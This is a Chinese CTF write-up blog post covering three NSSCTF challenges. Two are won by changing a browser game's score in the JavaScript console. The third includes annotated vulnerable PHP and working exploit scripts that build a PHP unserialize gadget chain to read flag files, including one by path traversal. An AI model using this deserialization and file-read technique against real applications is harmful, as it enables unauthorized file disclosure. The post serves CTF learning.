NSSCTF (3)

[GDOUCTF 2023]hate eat snake

 

我们打开js源码

 

 很明显这里当score大于60会出flag 

 score = getScore

我们寻找到了getScore方法所在的地方 

 

之后发现他存在于Snake.prototype中

 

 再控制台中给getScore赋值再空格页面

 [第五空间 2021]pklovecloud

<?php  
include 'flag.php';   #包含flag.php
class pkshow          #定义一个名为pkshow的类
{  
    function echo_name()      ##定义一个名为echo_name的方法
    {          
        return "Pk very safe^.^";       #返回Pk very safe^.^
    }  
} 

class acp             #定义一个名为acp的类
{   
    protected $cinder;  #定义一个是受保护的cinder变量
    public $neutron;    #定义一个公共的neutron变量
    public $nova;       #定义一个公共的nova变量
    function __construct()     #construct类初始化时调用
    {      
        $this->cinder = new pkshow; 初始化pkshow类
    }  
    function __toString()      #当类被当成字符串时调用
    {          
        if (isset($this->cinder))      #判断cinder的值是不是空
            return $this->cinder->echo_name();      #返回cinder里面的echo_name方法 这里用来检测cinder是不是实例化了pkshow
    }  
}  

class ace            #定义一个名为ace的类
{     
    public $filename;          #定义一个公共的filename变量
    public $openstack;         #定义一个公共的openstack变量
    public $docker;            #定义一个公共的docker变量
    function echo_name()       #定义一个echo_name函数
    {   
        $this->openstack = unserialize($this->docker);   #openstack的值等于反序列化的docker的值
        $this->openstack->neutron = $heat;  #将heat赋值给this->openstack->neutron
        if($this->openstack->neutron === $this->openstack->nova) #判断this->openstack->neutron和this->openstack->nova是不是一样
        {
        $file = "./{$this->filename}";  #这里将fileanme文件的变量当成字符串 并和./一起赋值给file
            if (file_get_contents($file))          #判断file_get_contents能不能读取文件内容
            {              
                return file_get_contents($file);  #返回文件内容
            }  
            else 
            { 
                return "keystone lost~";  
            }    
        }
    }  
}  

if (isset($_GET['pks']))   #通过get方法获取pks参数判断是不是空
{
    $logData = unserialize($_GET['pks']); #$logData等于反序列化的pks
    echo $logData;  #输出$logData
} 
else 
{ 
    highlight_file(__file__);  #高亮显示当前文件的原代码
}
?>

反推

$file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            } 

这里时我们要执行的 

也就是 ace类中的echo_name 

这里有绕过

 $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)

这里先将docker的值反序列化后赋值给openstack

然后openstack中的neutron等于$heat

再让neutron和nova 强匹配

这里我们可以控制docker的值当docker为空时 openstack下的netron 和 nova也一定为null

然后我们要寻找哪里可以触发echo_name我们发现

 function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  

acp类中的toString可以

但是根据construct将cinder赋值了实例pkshow  

这里我们要构造cinder = new ace 的类 这样就会调用ace的类

construct  => toString => echo_name
acp        => acp  =>    ace

exp

<?php
class pkshow{

}

class acp {
    protected $cinder;
    public  $neutron;
    public  $nova;
    function __construct(){
        $this->cinder = new ace;
    }
}

class ace {
    public $filename = "flag.php";
    public $openstack;
    public $docker;
}


$zx=new acp();
echo urlencode(serialize($zx))

?>

 

<?php
class pkshow{

}

class acp {
    protected $cinder;
    public  $neutron;
    public  $nova;
    function __construct(){
        $this->cinder = new ace;
    }
}

class ace {
    public $filename = "/nssctfasdasdflag";
    public $openstack;
    public $docker;
}


$zx=new acp();
echo urlencode(serialize($zx))

?>

 

<?php
class pkshow{

}

class acp {
    protected $cinder;
    public  $neutron;
    public  $nova;
    function __construct(){
        $this->cinder = new ace;
    }
}

class ace {
    public $filename = "../nssctfasdasdflag";
    public $openstack;
    public $docker;
}


$zx=new acp();
echo urlencode(serialize($zx))

?>

 

[HNCTF 2022 Week1]2048

 

 

f12

先知道我们要知道这里的分数是通过score表示

接下来去看js文件查找和score有关的地方

我们发现这里当得分大于20000会弹窗

 

在控制台执行得到flag

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值